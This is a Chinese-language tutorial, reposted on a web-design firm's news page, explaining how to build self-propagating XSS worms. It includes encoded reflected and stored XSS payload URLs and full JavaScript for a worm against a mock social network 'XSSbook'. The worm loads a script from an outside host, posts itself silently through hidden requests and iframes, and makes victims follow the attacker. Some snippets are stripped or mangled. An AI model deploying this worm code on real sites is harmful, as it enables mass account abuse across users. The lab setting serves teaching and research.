新聞中心
小編寄語:

專注于為中小企業(yè)提供網(wǎng)站設(shè)計(jì)制作、成都做網(wǎng)站服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)連山免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了成百上千家企業(yè)的穩(wěn)健成長(zhǎng),幫助中小企業(yè)通過網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
XSS攻擊最大的危害在于可能在一個(gè)系統(tǒng)中的用戶間互相感染,以致整個(gè)系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱之為XSS蠕蟲。
第一部分
XSS攻擊最大的危害在于可能在一個(gè)系統(tǒng)中的用戶間互相感染,以致整個(gè)系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱之為xss蠕蟲。
為了更好的理解為xss蠕蟲的工作原理,我們需要開始一段嶄新的旅程去了解構(gòu)造自我復(fù)制的代碼所需要的技術(shù)。
出于教學(xué)目的,我們將僅僅以最簡(jiǎn)單的代碼實(shí)例做講解。 所以我們盡可能避免使用XHR等js過程。
讓我們來看看最簡(jiǎn)單的一個(gè)自我復(fù)制的反射型XSS實(shí)例。它僅僅能夠在頁面注入一個(gè)鏈接,打開這個(gè)鏈接將在新的標(biāo)簽頁中注入同樣的xss語句。
可以在這里(http://brutelogic.com.br/webgun/test.php?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)嘗試一下。
現(xiàn)在我們來看一個(gè)稍微復(fù)雜一些的例子。這個(gè)(http://brutelogic.com.br/tests/comments.php)頁面用于發(fā)送評(píng)論,并且存在存儲(chǔ)型xss。 如果我們?cè)谠u(píng)論中插入如下代碼:
- click me!
這里注入了一個(gè)表格,使用post方法發(fā)送comment參數(shù)。每當(dāng)onclick方法被觸發(fā)時(shí),它會(huì)將表格中的第一個(gè)元素的value填充為整個(gè)form標(biāo)簽內(nèi)的html代碼(包括form標(biāo)簽本身)這樣每當(dāng)有人點(diǎn)擊click me!我們就能不斷的發(fā)送這條評(píng)論到評(píng)論頁面中,也就完成了自我復(fù)制。
對(duì)于很少有用戶交互的xss向量,我們可以使用onmouseover事件或者類似的css trick來增加觸發(fā)蠕蟲的可能性。
盡管上面這個(gè)例子看起來很有趣,但是實(shí)際上一般評(píng)論頁面都不會(huì)允許在評(píng)論中插入一個(gè)表格,在反射型xss中更有可能觸發(fā),但是這樣造成的危害并不大,所以為了造成實(shí)際危害,我們需要結(jié)合反射型XSS與存儲(chǔ)型XSS。
下面的一段代碼將被插入到一個(gè)反射型xss中。
當(dāng)click me被點(diǎn)擊時(shí),它將向comments.php post數(shù)據(jù),完成發(fā)送評(píng)論的操作。和之前的html代碼不同的是,他post的comment內(nèi)容不再是一個(gè)表格,而是一個(gè)鏈接,鏈接的內(nèi)容指向同樣的xss向量,也就是注入了蠕蟲代碼的的存在存儲(chǔ)型xss的頁面。鏈接被點(diǎn)擊后將繼續(xù)造成蠕蟲傳播。
為了讓攻擊進(jìn)行的更加隱蔽,我們可以不讓用戶返回至comment頁面,而是通過插入一個(gè)不可見的iframe,并將請(qǐng)求在這個(gè)不可見的iframe中打開,代碼如下:
在這里嘗試(http://brutelogic.com.br/webgun/test.php?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我們將做一個(gè)獨(dú)特的實(shí)驗(yàn),即xss在傳統(tǒng)社交網(wǎng)絡(luò)中的不同用戶間的傳播是如何進(jìn)行的。
第二部分
為了理解XSS蠕蟲的實(shí)際應(yīng)用,我們首先介紹一下XSS蠕蟲的傳播環(huán)境,一個(gè)簡(jiǎn)單的社交網(wǎng)絡(luò)。我們姑且叫他XSSbook,它的數(shù)據(jù)庫主要由三個(gè)表組成。
每個(gè)表的內(nèi)容
users表有該社交系統(tǒng)中的用戶信息,包括用戶id,登錄名,姓名,加密后的密碼,電子郵箱地址和簡(jiǎn)單的自我介紹。
posts表存儲(chǔ)了文章信息,包括文章id,發(fā)布者id,文章內(nèi)容與文章發(fā)布時(shí)間。
最后,follows表描述了用戶之間收聽與被收聽的關(guān)系,即每個(gè)收聽的用戶的動(dòng)態(tài)都會(huì)出現(xiàn)在該用戶的timeline上。
這一系列php代碼可以完成會(huì)話控制等功能,支撐整個(gè)系統(tǒng)的運(yùn)轉(zhuǎn)。
現(xiàn)在挑戰(zhàn)在于用如何盡可能接近真實(shí)社交網(wǎng)絡(luò)的數(shù)據(jù)傳播來使用虛假數(shù)據(jù)產(chǎn)生一個(gè)數(shù)據(jù)庫。為了達(dá)到這個(gè)目的,我們會(huì)使用bash腳本來生成一系列數(shù)據(jù)以貼近大型社交網(wǎng)絡(luò)。我們也將努力的呈現(xiàn)這種呈指數(shù)級(jí)別增長(zhǎng)的XSS蠕蟲的威力,即當(dāng)成千上萬的用戶連接時(shí),XSS蠕蟲的傳播將越來越快!
第三部分
我們以一個(gè)數(shù)據(jù)集合開始產(chǎn)生一個(gè)XSSBOOK的數(shù)據(jù)庫。
和傳統(tǒng)社交網(wǎng)絡(luò)一樣,只有極少用戶能夠擁有大量的聽眾。為了方便演示,這里我們產(chǎn)生了一百個(gè)用戶,他們都有同樣的密碼12345678。
其中,“Brute”是最后一個(gè)用戶。
XSSBOOK這個(gè)應(yīng)用看起來是這個(gè)樣子的。
首頁顯示了收聽的用戶所發(fā)表的信息。在上面的截圖當(dāng)中,Brute收聽了Angela并且看到Angela最近的推文。他的資料頁展示了他的聽眾數(shù)量(目前是0)和自我介紹。Brute還沒有發(fā)表過推文所以沒有顯示。
蠕蟲傳播的開始,第一個(gè)受到感染的是George。他因?yàn)樵L問了一個(gè)通過搜索功能存在的反射型xss漏洞構(gòu)造的蠕蟲而受到感染:
http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E
引入的js的內(nèi)容為
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
fr = document.createElement('iframe');
fr.setAttribute('name', 'myFrame');
fr.setAttribute('style', 'display:none');
document.body.appendChild(fr);fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', 'follow');
fo.appendChild(i);
fo.elements[0].value='follow';document.body.appendChild(fo);
fo.submit();
解析一下這段js
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
開頭四行是蠕蟲的自我傳播部分,它在用戶不知情的情況下發(fā)送了一條推文,推文的內(nèi)容首先閉合了 textarea標(biāo)簽,插入了一個(gè)換行符,再插入了一個(gè)指向當(dāng)前頁面(即蠕蟲傳播)的鏈接。
fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);
這四行我們創(chuàng)建了個(gè)看不見的iframe,這個(gè)iframe將會(huì)成為接下來蠕蟲要?jiǎng)?chuàng)建的form的target(這樣做的目的見上文)。
fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
這四行代碼創(chuàng)建了一個(gè)form,target是之前的iframe,目標(biāo)頁面是100號(hào)用戶的個(gè)人資料,也就是brute用戶的個(gè)人資料頁面。
i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);
這里創(chuàng)建了個(gè)不可見的input塊,目的在于post一個(gè)follow的值。
fo.elements[0].value='follow';
而follow的值也被設(shè)定為follow。
document.body.appendChild(fo);
form被加入到頁面中
fo.submit();
form最終被提交。
如我們所見,這段蠕蟲代碼將會(huì)復(fù)制自身,傳播自身,并且關(guān)注用戶“Brute”
所以我們現(xiàn)在有一個(gè)100人規(guī)模的社交網(wǎng)絡(luò),連接數(shù)為463。我們現(xiàn)在要看看蠕蟲在用戶間的傳播。為了達(dá)到這個(gè)目的我們將使用Firefox擴(kuò)展Selenium IDE。
我們使用該擴(kuò)展模擬用戶的行為,通過給定的csv表格中的帳號(hào)信息陸續(xù)登錄賬戶,點(diǎn)擊timeline上的鏈接。接下來我們就可看到該蠕蟲的快速傳播。
網(wǎng)站題目:XSS蠕蟲的構(gòu)造
文章轉(zhuǎn)載:http://m.fisionsoft.com.cn/article/djpihoh.html


咨詢
建站咨詢
